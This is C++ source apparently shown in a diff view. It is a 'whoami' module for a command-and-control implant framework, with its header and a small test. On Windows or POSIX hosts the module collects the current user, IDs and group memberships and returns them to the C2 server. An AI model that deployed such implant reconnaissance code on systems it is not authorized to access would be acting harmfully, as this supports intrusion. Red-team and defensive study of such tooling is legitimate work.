#include "Common.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#include <sstream>
|
||||
#ifdef _WIN32
|
||||
#include <sddl.h>
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
#else
|
||||
#include <pwd.h>
|
||||
#include <unistd.h>
|
||||
#include <grp.h>
|
||||
#endif
|
||||
|
||||
using namespace std;
|
||||
|
||||
constexpr std::string_view moduleName = "whoami";
|
||||
constexpr unsigned long long moduleHash = djb2(moduleName);
|
||||
|
||||
#ifdef _WIN32
|
||||
__declspec(dllexport) Whoami* WhoamiConstructor()
|
||||
{
|
||||
return new Whoami();
|
||||
}
|
||||
#else
|
||||
__attribute__((visibility("default"))) Whoami* WhoamiConstructor()
|
||||
{
|
||||
return new Whoami();
|
||||
}
|
||||
#endif
|
||||
|
||||
Whoami::Whoami()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
|
||||
Whoami::~Whoami()
|
||||
{
|
||||
}
|
||||
|
||||
std::string Whoami::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "whoami:\n";
|
||||
info += "Print current user information.\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
|
||||
int Whoami::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int Whoami::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
{
|
||||
std::string out = getInfoString();
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string Whoami::getInfoString()
|
||||
{
|
||||
std::string result;
|
||||
#ifdef _WIN32
|
||||
char name[256];
|
||||
DWORD size = sizeof(name);
|
||||
if(GetUserNameA(name, &size))
|
||||
{
|
||||
result += "User: ";
|
||||
result += name;
|
||||
result += "\n";
|
||||
}
|
||||
|
||||
HANDLE token = NULL;
|
||||
if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||
{
|
||||
DWORD len = 0;
|
||||
GetTokenInformation(token, TokenGroups, nullptr, 0, &len);
|
||||
std::vector<BYTE> buf(len);
|
||||
if(GetTokenInformation(token, TokenGroups, buf.data(), len, &len))
|
||||
{
|
||||
PTOKEN_GROUPS groups = reinterpret_cast<PTOKEN_GROUPS>(buf.data());
|
||||
result += "Groups:\n";
|
||||
for(DWORD i = 0; i < groups->GroupCount; ++i)
|
||||
{
|
||||
char gname[256];
|
||||
char gdomain[256];
|
||||
DWORD gnlen = sizeof(gname);
|
||||
DWORD gdlen = sizeof(gdomain);
|
||||
SID_NAME_USE use;
|
||||
if(LookupAccountSidA(NULL, groups->Groups[i].Sid, gname, &gnlen, gdomain, &gdlen, &use))
|
||||
{
|
||||
if(gdlen)
|
||||
{
|
||||
result += " - ";
|
||||
result += gdomain;
|
||||
result += "\\";
|
||||
result += gname;
|
||||
}
|
||||
else
|
||||
{
|
||||
result += " - ";
|
||||
result += gname;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
LPSTR sidStr = nullptr;
|
||||
if(ConvertSidToStringSidA(groups->Groups[i].Sid, &sidStr))
|
||||
{
|
||||
result += " - ";
|
||||
result += sidStr;
|
||||
LocalFree(sidStr);
|
||||
}
|
||||
}
|
||||
result += "\n";
|
||||
}
|
||||
}
|
||||
CloseHandle(token);
|
||||
}
|
||||
#else
|
||||
struct passwd* pw = getpwuid(geteuid());
|
||||
if(pw)
|
||||
{
|
||||
result += "User: ";
|
||||
result += pw->pw_name;
|
||||
result += "\nUID: ";
|
||||
result += std::to_string(pw->pw_uid);
|
||||
result += " GID: ";
|
||||
result += std::to_string(pw->pw_gid);
|
||||
result += "\n";
|
||||
}
|
||||
int ngroups = getgroups(0, nullptr);
|
||||
if(ngroups > 0)
|
||||
{
|
||||
std::vector<gid_t> groups(ngroups);
|
||||
getgroups(ngroups, groups.data());
|
||||
result += "Groups: ";
|
||||
for(int i=0;i<ngroups;i++)
|
||||
{
|
||||
struct group* gr = getgrgid(groups[i]);
|
||||
if(gr)
|
||||
result += gr->gr_name;
|
||||
else
|
||||
result += std::to_string(groups[i]);
|
||||
if(i+1<ngroups)
|
||||
result += ", ";
|
||||
}
|
||||
result += "\n";
|
||||
}
|
||||
#endif
|
||||
if(result.empty())
|
||||
result = "No information";
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
class Whoami : public ModuleCmd
|
||||
{
|
||||
public:
|
||||
Whoami();
|
||||
~Whoami();
|
||||
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string getInfoString();
|
||||
};
|
||||
|
||||
#ifdef _WIN32
|
||||
extern "C" __declspec(dllexport) Whoami* WhoamiConstructor();
|
||||
#else
|
||||
extern "C" __attribute__((visibility("default"))) Whoami* WhoamiConstructor();
|
||||
#endif
|
||||
@@ -0,0 +1,25 @@
|
||||
#include "../Whoami.hpp"
|
||||
|
||||
bool testWhoami();
|
||||
|
||||
int main()
|
||||
{
|
||||
bool res;
|
||||
std::cout << "[+] testWhoami" << std::endl;
|
||||
res = testWhoami();
|
||||
if (res)
|
||||
std::cout << "[+] Sucess" << std::endl;
|
||||
else
|
||||
std::cout << "[-] Failed" << std::endl;
|
||||
return !res;
|
||||
}
|
||||
|
||||
bool testWhoami()
|
||||
{
|
||||
std::unique_ptr<Whoami> mod = std::make_unique<Whoami>();
|
||||
std::vector<std::string> cmd = {"whoami"};
|
||||
C2Message msg, ret;
|
||||
mod->init(cmd, msg);
|
||||
mod->process(msg, ret);
|
||||
return !ret.returnvalue().empty();
|
||||
}
|
||||
Reference in New Issue
Block a user